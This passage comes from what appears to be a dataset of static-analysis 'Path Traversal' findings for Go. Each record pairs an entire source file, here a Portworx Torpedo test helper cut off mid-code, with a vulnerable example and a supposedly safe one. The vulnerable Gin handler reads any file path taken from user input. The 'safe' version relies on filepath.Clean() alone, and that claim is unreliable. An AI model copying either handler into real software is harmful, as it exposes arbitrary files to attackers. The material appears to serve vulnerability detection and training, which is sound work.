0644); err != nil {\n\t\t\tlog.Fatalf(\"Error: %v\", err)\n\t\t}\n\t}\n}\n\n// isSeparate returns true if the character is a field name separator. This is\n// used to detect the separators in fields like ephemeral_id or instance.name.\nfunc isSeparator(c rune) bool {\n\tswitch c {\n\tcase '.', '_':\n\t\treturn true\n\tcase '@':\n\t\t// This effectively filters @ from field names.\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\n// descriptionToComment builds a comment string that is wrapped at 80 chars.\nfunc descriptionToComment(indent, desc string) string {\n\ttextLength := 80 - len(strings.Replace(indent, \"\\t\", \" \", 4)+\" // \")\n\tlines := strings.Split(wordwrap.WrapString(desc, uint(textLength)), \"\\n\")\n\tif len(lines) > 0 {\n\t\t// Remove empty first line.\n\t\tif strings.TrimSpace(lines[0]) == \"\" {\n\t\t\tlines = lines[1:]\n\t\t}\n\t}\n\tif len(lines) > 0 {\n\t\t// Remove empty last line.\n\t\tif strings.TrimSpace(lines[len(lines)-1]) == \"\" {\n\t\t\tlines = lines[:len(lines)-1]\n\t\t}\n\t}\n\tfor i := 0; i < len(lines); i++ {\n\n\t}\n\treturn trimTrailingWhitespace(strings.Join(lines, \"\\n\"+indent+\"// \"))\n}\n\nfunc trimTrailingWhitespace(text string) string {\n\tvar lines [][]byte\n\ts := bufio.NewScanner(bytes.NewBufferString(text))\n\tfor s.Scan() {\n\t\tlines = append(lines, bytes.TrimRightFunc(s.Bytes(), unicode.IsSpace))\n\t}\n\tif err := s.Err(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn string(bytes.Join(lines, []byte(\"\\n\")))\n}\n\n// goDataType returns the Go type to use for Elasticsearch mapping data type.\nfunc goDataType(fieldName, elasticsearchDataType string) string {\n\t// Special cases.\n\tswitch {\n\tcase fieldName == \"duration\" && elasticsearchDataType == \"long\":\n\t\treturn \"time.Duration\"\n\tcase fieldName == \"args\" && elasticsearchDataType == \"keyword\":\n\t\treturn \"[]string\"\n\t}\n\n\tswitch elasticsearchDataType {\n\tcase \"keyword\", \"text\", \"ip\", \"geo_point\":\n\t\treturn \"string\"\n\tcase \"long\":\n\t\treturn \"int64\"\n\tcase \"integer\":\n\t\treturn \"int32\"\n\tcase \"float\":\n\t\treturn \"float64\"\n\tcase \"date\":\n\t\treturn \"time.Time\"\n\tcase \"object\":\n\t\treturn \"map[string]interface{}\"\n\tdefault:\n\t\tlog.Fatal(\"no translation for \", elasticsearchDataType)\n\t\treturn \"\"\n\t}\n}\n\n// abbreviations capitalizes common abbreviations.\nfunc abbreviations(abv string) string {\n\tswitch strings.ToLower(abv) {\n\tcase \"id\", \"ppid\", \"pid\", \"pgid\", \"mac\", \"ip\", \"iana\", \"uid\", \"ecs\", \"as\":\n\t\treturn strings.ToUpper(abv)\n\tdefault:\n\t\treturn abv\n\t}\n}\n\n// goTypeName removes special characters ('_', '.', '@') and returns a\n// camel-cased name.\nfunc goTypeName(name string) string {\n\tvar b strings.Builder\n\tfor _, w := range strings.FieldsFunc(name, isSeparator) {\n\t\tb.WriteString(strings.Title(abbreviations(w)))\n\t}\n\treturn b.String()\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 209, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "8d6b45f3ba64f62c97f9b485d1e3ebbb1358f1e31f23a69760654903542d7686", "license": {"spdx": ["Apache-2.0"], "repo": "nfigueira/torpedo", "path": "tests/common.go", "repo_head_hexsha": "65525884c1eb67be06bd9852938f8a2d39270eef", "stack_hexsha": "c08f214ffc8a3af0ff9cbbb854400c62a26882dc", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 1140, "entireCode": "package tests\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/csv\"\n\t\"flag\"\n\t\"fmt\"\n\t\"github.com/Azure/azure-storage-blob-go/azblob\"\n\t\"github.com/aws/aws-sdk-go/aws\"\n\t\"github.com/aws/aws-sdk-go/aws/credentials\"\n\t\"github.com/aws/aws-sdk-go/aws/session\"\n\t\"github.com/aws/aws-sdk-go/service/s3\"\n\t\"github.com/aws/aws-sdk-go/service/s3/s3manager\"\n\tapi \"github.com/portworx/px-backup-api/pkg/apis/v1\"\n\t\"github.com/portworx/sched-ops/k8s/core\"\n\t\"github.com/portworx/torpedo/drivers\"\n\t\"io/ioutil\"\n\t\"net/url\"\n\t\"os\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\tsnapv1 \"github.com/kubernetes-incubator/external-storage/snapshot/pkg/apis/crd/v1\"\n\tapapi \"github.com/libopenstorage/autopilot-api/pkg/apis/autopilot/v1alpha1\"\n\t\"github.com/libopenstorage/openstorage/pkg/sched\"\n\tstorkapi \"github.com/libopenstorage/stork/pkg/apis/stork/v1alpha1\"\n\t\"github.com/onsi/ginkgo\"\n\t\"github.com/onsi/gomega\"\n\t\"github.com/portworx/sched-ops/task\"\n\t\"github.com/portworx/torpedo/drivers/node\"\n\t\"github.com/sirupsen/logrus\"\n\tappsapi \"k8s.io/api/apps/v1\"\n\tv1 \"k8s.io/api/core/v1\"\n\trbacv1 \"k8s.io/api/rbac/v1\"\n\tstorageapi \"k8s.io/api/storage/v1\"\n\n\t\"github.com/portworx/torpedo/drivers/backup\"\n\t// import aks driver to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/node/aks\"\n\t// import backup driver to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/backup/portworx\"\n\t// import aws driver to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/node/aws\"\n\t// import gke driver to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/node/gke\"\n\n\t// import ssh driver to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/node/ssh\"\n\t\"github.com/portworx/torpedo/drivers/scheduler\"\n\n\t// import scheduler drivers to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/scheduler/dcos\"\n\t\"github.com/portworx/torpedo/drivers/scheduler/k8s\"\n\n\t// import scheduler drivers to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/scheduler/openshift\"\n\t_ \"github.com/portworx/torpedo/drivers/scheduler/rke\"\n\t\"github.com/portworx/torpedo/drivers/volume\"\n\n\t// import portworx driver to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/volume/portworx\"\n\t// import gce driver to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/volume/gce\"\n\t// import aws driver to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/volume/aws\"\n\t// import azure driver to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/volume/azure\"\n\t// import generic csi driver to invoke it's init\n\t_ \"github.com/portworx/torpedo/drivers/volume/generic_csi\"\n\t\"github.com/portworx/torpedo/pkg/log\"\n\n\tyaml \"gopkg.in/yaml.v2\"\n\n\tcontext1 \"context\"\n\t// backup imports\n\t\"github.com/pborman/uuid\"\n\tlog1 \"log\"\n)\n\nconst (\n\t// Backup constants\n\tbackupLocationName = \"tp-blocation\"\n\tclusterName = \"tp-cluster\"\n\tcredName = \"tp-backup-cred\"\n\tbackupNamePrefix = \"tp-backup\"\n\tbackupScheduleNamePrefix = \"tp-bkp-schedule\"\n\trestoreNamePrefix = \"tp-restore\"\n\tbucketNamePrefix = \"tp-backup-bucket\"\n\tconfigMapName = \"kubeconfigs\"\n\tkubeconfigDirectory = \"/tmp\"\n\tsourceClusterName = \"source-cluster\"\n\tdestinationClusterName = \"destination-cluster\"\n\tbackupRestoreCompletionTimeoutMin = 20\n\tretrySeconds = 10\n\n\tschedulePolicyAllName = \"schedule-policy-all\"\n\tschedulePolicyScaleName = \"schedule-policy-scale\"\n\tbackupScheduleAllName = \"-all\"\n\tbackupScheduleScaleName = \"-scale\"\n\n\tstorkDeploymentName = \"stork\"\n\tstorkDeploymentNamespace = \"kube-system\"\n\tpxbackupDeploymentName = \"px-backup\"\n\tpxbackupDeploymentNamespace = \"px-backup\"\n\tpxbackupMongodbDeploymentName = \"pxc-backup-mongodb\"\n\tpxbackupMongodbDeploymentNamespace = \"px-backup\"\n\n\tappReadinessTimeout = 10 * time.Minute\n)\n\nconst (\n\t// SkipClusterScopedObjects describes option for skipping deletion of cluster wide objects\n\tSkipClusterScopedObjects = \"skipClusterScopedObjects\"\n)\n\nconst (\n\t// defaultSpecsRoot specifies the default location of the base specs directory in the Torpedo container\n\tdefaultSpecsRoot = \"/specs\"\n\tschedulerCliFlag = \"scheduler\"\n\tnodeDriverCliFlag = \"node-driver\"\n\tstorageDriverCliFlag = \"storage-driver\"\n\tbackupCliFlag = \"backup-driver\"\n\tspecDirCliFlag = \"spec-dir\"\n\tappListCliFlag = \"app-list\"\n\tlogLocationCliFlag = \"log-location\"\n\tlogLevelCliFlag = \"log-level\"\n\tscaleFactorCliFlag = \"scale-factor\"\n\tminRunTimeMinsFlag = \"minimun-runtime-mins\"\n\tchaosLevelFlag = \"chaos-level\"\n\tstorageUpgradeEndpointURLCliFlag = \"storage-upgrade-endpoint-url\"\n\tstorageUpgradeEndpointVersionCliFlag = \"storage-upgrade-endpoint-version\"\n\tprovisionerFlag = \"provisioner\"\n\tstorageNodesPerAZFlag = \"max-storage-nodes-per-az\"\n\tconfigMapFlag = \"config-map\"\n\tenableStorkUpgradeFlag = \"enable-stork-upgrade\"\n\tautopilotUpgradeImageCliFlag = \"autopilot-upgrade-version\"\n\tcsiGenericDriverConfigMapFlag = \"csi-generic-driver-config-map\"\n)\n\nconst (\n\tdefaultScheduler = \"k8s\"\n\tdefaultNodeDriver = \"ssh\"\n\tdefaultStorageDriver = \"pxd\"\n\tdefaultLogLocation = \"/mnt/torpedo_support_dir\"\n\tdefaultBundleLocation = \"/var/cores\"\n\tdefaultLogLevel = \"debug\"\n\tdefaultAppScaleFactor = 1\n\tdefaultMinRunTimeMins = 0\n\tdefaultChaosLevel = 5\n\tdefaultStorageUpgradeEndpointURL = \"https://install.portworx.com/upgrade\"\n\tdefaultStorageUpgradeEndpointVersion = \"2.1.1\"\n\tdefaultStorageProvisioner = \"portworx\"\n\tdefaultStorageNodesPerAZ = 2\n\tdefaultAutoStorageNodeRecoveryTimeout = 30 * time.Minute\n\tspecObjAppWorkloadSizeEnvVar = \"SIZE\"\n)\n\nconst (\n\twaitResourceCleanup = 2 * time.Minute\n\tdefaultTimeout = 5 * time.Minute\n\tdefaultRetryInterval = 10 * time.Second\n\tdefaultCmdTimeout = 20 * time.Second\n\tdefaultCmdRetryInterval = 5 * time.Second\n)\n\n// Backup vars\nvar (\n\t// OrgID is pxbackup OrgID\n\tOrgID string\n\tBucketName string\n\t// CloudCredUID is pxbackup cloud cred UID\n\tCloudCredUID string\n\t// BackupLocationUID is pxbackup backupLocation UID\n\tBackupLocationUID string\n\tbackupScheduleAllUID string\n\tschedulePolicyAllUID string\n\tscheduledBackupAllNamespacesInterval time.Duration\n\tbackupScheduleScaleUID string\n\tschedulePolicyScaleUID string\n\tscheduledBackupScaleInterval time.Duration\n\tcontextsCreated []*scheduler.Context\n)\n\nvar (\n\tcontext = ginkgo.Context\n\tfail = ginkgo.Fail\n\t// Step is an alias for ginko \"By\" which represents a step in the spec\n\tStep = ginkgo.By\n\texpect = gomega.Expect\n\thaveOccurred = gomega.HaveOccurred\n\tbeEmpty = gomega.BeEmpty\n\tbeNil = gomega.BeNil\n\tequal = gomega.Equal\n\tbeTrue = gomega.BeTrue\n\tbeNumerically = gomega.BeNumerically\n)\n\n// InitInstance is the ginkgo spec for initializing torpedo\nfunc InitInstance() {\n\tvar err error\n\tvar token string\n\tif Inst().ConfigMap != \"\" {\n\t\tlogrus.Infof(\"Using Config Map: %s \", Inst().ConfigMap)\n\t\ttoken, err = Inst().S.GetTokenFromConfigMap(Inst().ConfigMap)\n\t\texpect(err).NotTo(haveOccurred())\n\t\tlogrus.Infof(\"Token used for initializing: %s \", token)\n\t} else {\n\t\ttoken = \"\"\n\t}\n\n\terr = Inst().S.Init(scheduler.InitOptions{\n\t\tSpecDir: Inst().SpecDir,\n\t\tVolDriverName: Inst().V.String(),\n\t\tNodeDriverName: Inst().N.String(),\n\t\tSecretConfigMapName: Inst().ConfigMap,\n\t\tCustomAppConfig: Inst().CustomAppConfig,\n\t\tStorageProvisioner: Inst().Provisioner,\n\t\tSecretType: Inst().SecretType,\n\t\tVaultAddress: Inst().VaultAddress,\n\t\tVaultToken: Inst().VaultToken,\n\t})\n\texpect(err).NotTo(haveOccurred())\n\n\terr = Inst().N.Init()\n\texpect(err).NotTo(haveOccurred())\n\n\terr = Inst().V.Init(Inst().S.String(), Inst().N.String(), token, Inst().Provisioner, Inst().CsiGenericDriverConfigMap)\n\texpect(err).NotTo(haveOccurred())\n\n\tif Inst().Backup != nil {\n\t\terr = Inst().Backup.Init(Inst().S.String(), Inst().N.String(), Inst().V.String(), token)\n\t\texpect(err).NotTo(haveOccurred())\n\t}\n}\n\n// ValidateCleanup checks that there are no resource leaks after the test run\nfunc ValidateCleanup() {\n\tStep(fmt.Sprintf(\"validate cleanup of resources used by the test suite\"), func() {\n\t\tt := func() (interface{}, bool, error) {\n\t\t\tif err := Inst().V.ValidateVolumeCleanup(); err != nil {\n\t\t\t\treturn \"\", true, err\n\t\t\t}\n\n\t\t\treturn \"\", false, nil\n\t\t}\n\n\t\t_, err := task.DoRetryWithTimeout(t, waitResourceCleanup, 10*time.Second)\n\t\tif err != nil {\n\t\t\tlogrus.Info(\"an error occurred, collecting bundle\")\n\t\t\tCollectSupport()\n\t\t}\n\t\texpect(err).NotTo(haveOccurred())\n\t})\n}\n\nfunc processError(err error, errChan ...*chan error) {\n\tupdateChannel(err, errChan...)\n\texpect(err).NotTo(haveOccurred())\n}\n\nfunc updateChannel(err error, errChan ...*chan error) {\n\tif len(errChan) > 0 && err != nil {\n\t\t*errChan[0] <- err\n\t}\n}\n\n// ValidateContext is the ginkgo spec for validating a scheduled context\nfunc ValidateContext(ctx *scheduler.Context, errChan ...*chan error) {\n\tdefer func() {\n\t\tif len(errChan) > 0 {\n\t\t\tclose(*errChan[0])\n\t\t}\n\t}()\n\tginkgo.Describe(fmt.Sprintf(\"For validation of %s app\", ctx.App.Key), func() {\n\t\tvar timeout time.Duration\n\t\tappScaleFactor := time.Duration(Inst().ScaleFactor)\n\t\tif ctx.ReadinessTimeout == time.Duration(0) {\n\t\t\ttimeout = appScaleFactor * defaultTimeout\n\t\t} else {\n\t\t\ttimeout = appScaleFactor * ctx.ReadinessTimeout\n\t\t}\n\n\t\tStep(fmt.Sprintf(\"validate %s app's volumes\", ctx.App.Key), func() {\n\t\t\tif !ctx.SkipVolumeValidation {\n\t\t\t\tValidateVolumes(ctx, errChan...)\n\t\t\t}\n\t\t})\n\n\t\tStep(fmt.Sprintf(\"wait for %s app to start running\", ctx.App.Key), func() {\n\t\t\terr := Inst().S.WaitForRunning(ctx, timeout, defaultRetryInterval)\n\t\t\tprocessError(err, errChan...)\n\t\t})\n\n\t\tStep(fmt.Sprintf(\"validate if %s app's volumes are setup\", ctx.App.Key), func() {\n\t\t\tif ctx.SkipVolumeValidation {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tvols, err := Inst().S.GetVolumes(ctx)\n\t\t\tprocessError(err, errChan...)\n\n\t\t\tfor _, vol := range vols {\n\t\t\t\tStep(fmt.Sprintf(\"validate if %s app's volume: %v is setup\", ctx.App.Key, vol), func() {\n\t\t\t\t\terr := Inst().V.ValidateVolumeSetup(vol)\n\t\t\t\t\tprocessError(err, errChan...)\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t})\n}\n\n// ValidateVolumes is the ginkgo spec for validating volumes of a context\nfunc ValidateVolumes(ctx *scheduler.Context, errChan ...*chan error) {\n\tcontext(\"For validation of an app's volumes\", func() {\n\t\tvar err error\n\t\tStep(fmt.Sprintf(\"inspect %s app's volumes\", ctx.App.Key), func() {\n\t\t\tappScaleFactor := time.Duration(Inst().ScaleFactor)\n\t\t\terr = Inst().S.ValidateVolumes(ctx, appScaleFactor*defaultTimeout, defaultRetryInterval, nil)\n\t\t\tprocessError(err, errChan...)\n\t\t})\n\n\t\tvar vols map[string]map[string]string\n\t\tStep(fmt.Sprintf(\"get %s app's volume's custom parameters\", ctx.App.Key), func() {\n\t\t\tvols, err = Inst().S.GetVolumeParameters(ctx)\n\t\t\tprocessError(err, errChan...)\n\t\t})\n\n\t\tfor vol, params := range vols {\n\t\t\tif Inst().ConfigMap != \"\" {\n\t\t\t\tparams[\"auth-token\"], err = Inst().S.GetTokenFromConfigMap(Inst().ConfigMap)\n\t\t\t\tprocessError(err, errChan...)\n\t\t\t}\n\t\t\tif ctx.RefreshStorageEndpoint {\n\t\t\t\tparams[\"refresh-endpoint\"] = \"true\"\n\t\t\t}\n\t\t\tStep(fmt.Sprintf(\"get %s app's volume: %s inspected by the volume driver\", ctx.App.Key, vol), func() {\n\t\t\t\terr = Inst().V.ValidateCreateVolume(vol, params)\n\t\t\t\tprocessError(err, errChan...)\n\t\t\t})\n\t\t}\n\t})\n}\n\n// GetVolumeParameters retuns volume parameters for all volumes for given context\nfunc GetVolumeParameters(ctx *scheduler.Context) map[string]map[string]string {\n\tvar vols map[string]map[string]string\n\tvar err error\n\tStep(fmt.Sprintf(\"get %s app's volume's custom parameters\", ctx.App.Key), func() {\n\t\tvols, err = Inst().S.GetVolumeParameters(ctx)\n\t\texpect(err).NotTo(haveOccurred())\n\t})\n\treturn vols\n}\n\n// UpdateVolumeInVolumeParameters modifies volume parameters with correct PV name from PVC\nfunc UpdateVolumeInVolumeParameters(volParam map[string]map[string]string) map[string]map[string]string {\n\tupdatedVolumeParam := make(map[string]map[string]string)\n\tfor _, param := range volParam {\n\t\tpvcName, pvcNamespace := param[k8s.PvcNameKey], param[k8s.PvcNamespaceKey]\n\t\tPVName, err := Inst().S.GetVolumeDriverVolumeName(pvcName, pvcNamespace)\n\t\texpect(err).NotTo(haveOccurred())\n\t\tupdatedVolumeParam[PVName] = param\n\t}\n\treturn updatedVolumeParam\n}\n\n// ValidateVolumeParameters validates volume parameters using volume driver\nfunc ValidateVolumeParameters(volParam map[string]map[string]string) {\n\tvar err error\n\tfor vol, params := range volParam {\n\t\tif Inst().ConfigMap != \"\" {\n\t\t\tparams[\"auth-token\"], err = Inst().S.GetTokenFromConfigMap(Inst().ConfigMap)\n\t\t\texpect(err).NotTo(haveOccurred())\n\t\t}\n\t\tStep(fmt.Sprintf(\"get volume: %s inspected by the volume driver\", vol), func() {\n\t\t\terr = Inst().V.ValidateCreateVolume(vol, params)\n\t\t\texpect(err).NotTo(haveOccurred())\n\t\t})\n\t}\n}\n\n// ValidateVolumeParametersGetErr validates volume parameters using volume driver and returns err instead of failing\nfunc ValidateVolumeParametersGetErr(volParam map[string]map[string]string) error {\n\tvar err error\n\tfor vol, params := range volParam {\n\t\tif Inst().ConfigMap != \"\" {\n\t\t\tparams[\"auth-token\"], err = Inst().S.GetTokenFromConfigMap(Inst().ConfigMap)\n\t\t\texpect(err).NotTo(haveOccurred())\n\t\t}\n\t\tStep(fmt.Sprintf(\"get volume: %s inspected by the volume driver\", vol), func() {\n\t\t\terr = Inst().V.ValidateCreateVolume(vol, params)\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// ValidateRestoredApplicationsGetErr validates applications restored by backup driver and updates errors instead of failing the test\nfunc ValidateRestoredApplicationsGetErr(contexts []*scheduler.Context, volumeParameters map[string]map[string]string, bkpErrors map[string]error) {\n\tvar updatedVolumeParams map[string]map[string]string\n\tvolOptsMap := make(map[string]bool)\n\tvolOptsMap[SkipClusterScopedObjects] = true\n\n\tvar wg sync.WaitGroup\n\tfor _, ctx := range contexts {\n\t\twg.Add(1)\n\t\tgo func(wg *sync.WaitGroup, ctx *scheduler.Context) {\n\t\t\tdefer wg.Done()\n\t\t\tnamespace := ctx.App.SpecList[0].(*v1.PersistentVolumeClaim).Namespace\n\t\t\tif err, ok := bkpErrors[namespace]; ok {\n\t\t\t\tlogrus.Infof(\"Skipping validating namespace %s because %s\", namespace, err)\n\t\t\t} else {\n\t\t\t\tginkgo.Describe(fmt.Sprintf(\"For validation of %s app\", ctx.App.Key), func() {\n\n\t\t\t\t\tStep(fmt.Sprintf(\"inspect %s app's volumes\", ctx.App.Key), func() {\n\t\t\t\t\t\tappScaleFactor := time.Duration(Inst().ScaleFactor)\n\t\t\t\t\t\tvolOpts := mapToVolumeOptions(volOptsMap)\n\t\t\t\t\t\terr = Inst().S.ValidateVolumes(ctx, appScaleFactor*defaultTimeout, defaultRetryInterval, volOpts)\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tbkpErrors[namespace] = err\n\t\t\t\t\t\tlogrus.Errorf(\"Failed to validate [%s] app. Error: [%v]\", ctx.App.Key, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tStep(fmt.Sprintf(\"wait for %s app to start running\", ctx.App.Key), func() {\n\t\t\t\t\t\tappScaleFactor := time.Duration(Inst().ScaleFactor)\n\t\t\t\t\t\terr = Inst().S.WaitForRunning(ctx, appScaleFactor*defaultTimeout, defaultRetryInterval)\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tbkpErrors[namespace] = err\n\t\t\t\t\t\tlogrus.Errorf(\"Failed to validate [%s] app. Error: [%v]\", ctx.App.Key, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tupdatedVolumeParams = UpdateVolumeInVolumeParameters(volumeParameters)\n\t\t\t\t\tlogrus.Infof(\"Updated parameter list: [%+v]\\n\", updatedVolumeParams)\n\t\t\t\t\terr = ValidateVolumeParametersGetErr(updatedVolumeParams)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tbkpErrors[namespace] = err\n\t\t\t\t\t\tlogrus.Errorf(\"Failed to validate [%s] app. Error: [%v]\", ctx.App.Key, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tStep(fmt.Sprintf(\"validate if %s app's volumes are setup\", ctx.App.Key), func() {\n\t\t\t\t\t\tvar vols []*volume.Volume\n\t\t\t\t\t\tvols, err = Inst().S.GetVolumes(ctx)\n\t\t\t\t\t\tlogrus.Infof(\"List of volumes from scheduler driver :[%+v] \\n for context : [%+v]\\n\", vols, ctx)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tbkpErrors[namespace] = err\n\t\t\t\t\t\t\tlogrus.Errorf(\"Failed to validate [%s] app. Error: [%v]\", ctx.App.Key, err)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor _, vol := range vols {\n\t\t\t\t\t\t\tStep(fmt.Sprintf(\"validate if %s app's volume: %v is setup\", ctx.App.Key, vol), func() {\n\t\t\t\t\t\t\t\terr = Inst().V.ValidateVolumeSetup(vol)\n\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\tbkpErrors[namespace] = err\n\t\t\t\t\t\t\t\t\tlogrus.Errorf(\"Failed to validate [%s] app. Error: [%v]\", ctx.App.Key, err)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t}(&wg, ctx)\n\t}\n\twg.Wait()\n}\n\n// ValidateRestoredApplications validates applications restored by backup driver\nfunc ValidateRestoredApplications(contexts []*scheduler.Context, volumeParameters map[string]map[string]string) {\n\tvar updatedVolumeParams map[string]map[string]string\n\tvolOptsMap := make(map[string]bool)\n\tvolOptsMap[SkipClusterScopedObjects] = true\n\n\tfor _, ctx := range contexts {\n\t\tginkgo.Describe(fmt.Sprintf(\"For validation of %s app\", ctx.App.Key), func() {\n\n\t\t\tStep(fmt.Sprintf(\"inspect %s app's volumes\", ctx.App.Key), func() {\n\t\t\t\tappScaleFactor := time.Duration(Inst().ScaleFactor)\n\t\t\t\tvolOpts := mapToVolumeOptions(volOptsMap)\n\t\t\t\terr := Inst().S.ValidateVolumes(ctx, appScaleFactor*defaultTimeout, defaultRetryInterval, volOpts)\n\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t})\n\n\t\t\tStep(fmt.Sprintf(\"wait for %s app to start running\", ctx.App.Key), func() {\n\t\t\t\tappScaleFactor := time.Duration(Inst().ScaleFactor)\n\t\t\t\terr := Inst().S.WaitForRunning(ctx, appScaleFactor*defaultTimeout, defaultRetryInterval)\n\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t})\n\n\t\t\tupdatedVolumeParams = UpdateVolumeInVolumeParameters(volumeParameters)\n\t\t\tlogrus.Infof(\"Updated parameter list: [%+v]\\n\", updatedVolumeParams)\n\t\t\tValidateVolumeParameters(updatedVolumeParams)\n\n\t\t\tStep(fmt.Sprintf(\"validate if %s app's volumes are setup\", ctx.App.Key), func() {\n\t\t\t\tvols, err := Inst().S.GetVolumes(ctx)\n\t\t\t\tlogrus.Infof(\"List of volumes from scheduler driver :[%+v] \\n for context : [%+v]\\n\", vols, ctx)\n\t\t\t\texpect(err).NotTo(haveOccurred())\n\n\t\t\t\tfor _, vol := range vols {\n\t\t\t\t\tStep(fmt.Sprintf(\"validate if %s app's volume: %v is setup\", ctx.App.Key, vol), func() {\n\t\t\t\t\t\terr := Inst().V.ValidateVolumeSetup(vol)\n\t\t\t\t\t\texpect(err).NotTo(haveOccurred())\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t})\n\t\t})\n\t}\n}\n\n// TearDownContext is the ginkgo spec for tearing down a scheduled context\n// In the tear down flow we first want to delete volumes, then applications and only then we want to delete StorageClasses\n// StorageClass has to be deleted last because it has information that is required for when deleting PVC, if StorageClass objects are deleted before\n// deleting PVCs, especially with CSI + Auth enabled, PVC deletion will fail as Auth params are stored inside StorageClass objects\nfunc TearDownContext(ctx *scheduler.Context, opts map[string]bool) {\n\tcontext(\"For tearing down of an app context\", func() {\n\t\tvar err error\n\t\tvar originalSkipClusterScopedObjects bool\n\n\t\tif opts != nil {\n\t\t\t// Save original value of SkipClusterScopedObjects, if it exists\n\t\t\toriginalSkipClusterScopedObjects = opts[SkipClusterScopedObjects]\n\t\t} else {\n\t\t\topts = make(map[string]bool) // If opts was passed as nil make it\n\t\t}\n\n\t\topts[SkipClusterScopedObjects] = true // Skip tearing down cluster scope objects\n\t\toptions := mapToVolumeOptions(opts)\n\n\t\t// Tear down storage objects\n\t\tvols := DeleteVolumes(ctx, options)\n\n\t\t// Tear down application\n\t\tStep(fmt.Sprintf(\"start destroying %s app\", ctx.App.Key), func() {\n\t\t\terr = Inst().S.Destroy(ctx, opts)\n\t\t\texpect(err).NotTo(haveOccurred())\n\t\t})\n\n\t\tif !ctx.SkipVolumeValidation {\n\t\t\tValidateVolumesDeleted(ctx.App.Key, vols)\n\t\t}\n\n\t\t// Delete Cluster Scope objects\n\t\tif !originalSkipClusterScopedObjects {\n\t\t\topts[SkipClusterScopedObjects] = false // Tearing down cluster scope objects\n\t\t\toptions := mapToVolumeOptions(opts)\n\t\t\tDeleteVolumes(ctx, options)\n\t\t}\n\n\t})\n}\n\n// DeleteVolumes deletes volumes of a given context\nfunc DeleteVolumes(ctx *scheduler.Context, options *scheduler.VolumeOptions) []*volume.Volume {\n\tvar err error\n\tvar vols []*volume.Volume\n\tStep(fmt.Sprintf(\"destroy the %s app's volumes\", ctx.App.Key), func() {\n\t\tvols, err = Inst().S.DeleteVolumes(ctx, options)\n\t\texpect(err).NotTo(haveOccurred())\n\t})\n\treturn vols\n}\n\n// ValidateVolumesDeleted checks it given volumes got deleted\nfunc ValidateVolumesDeleted(appName string, vols []*volume.Volume) {\n\tfor _, vol := range vols {\n\t\tStep(fmt.Sprintf(\"validate %s app's volume %s has been deleted in the volume driver\",\n\t\t\tappName, vol.Name), func() {\n\t\t\terr := Inst().V.ValidateDeleteVolume(vol)\n\t\t\texpect(err).NotTo(haveOccurred())\n\t\t})\n\t}\n}\n\n// DeleteVolumesAndWait deletes volumes of given context and waits till they are deleted\nfunc DeleteVolumesAndWait(ctx *scheduler.Context, options *scheduler.VolumeOptions) {\n\tvols := DeleteVolumes(ctx, options)\n\tValidateVolumesDeleted(ctx.App.Key, vols)\n}\n\n// GetAppNamespace returns namespace in which context is created\nfunc GetAppNamespace(ctx *scheduler.Context, taskname string) string {\n\treturn ctx.App.GetID(fmt.Sprintf(\"%s-%s\", taskname, Inst().InstanceID))\n}\n\n// ScheduleApplications schedules but does not wait for applications\nfunc ScheduleApplications(testname string) []*scheduler.Context {\n\tvar contexts []*scheduler.Context\n\tvar err error\n\n\tStep(\"schedule applications\", func() {\n\t\ttaskName := fmt.Sprintf(\"%s-%v\", 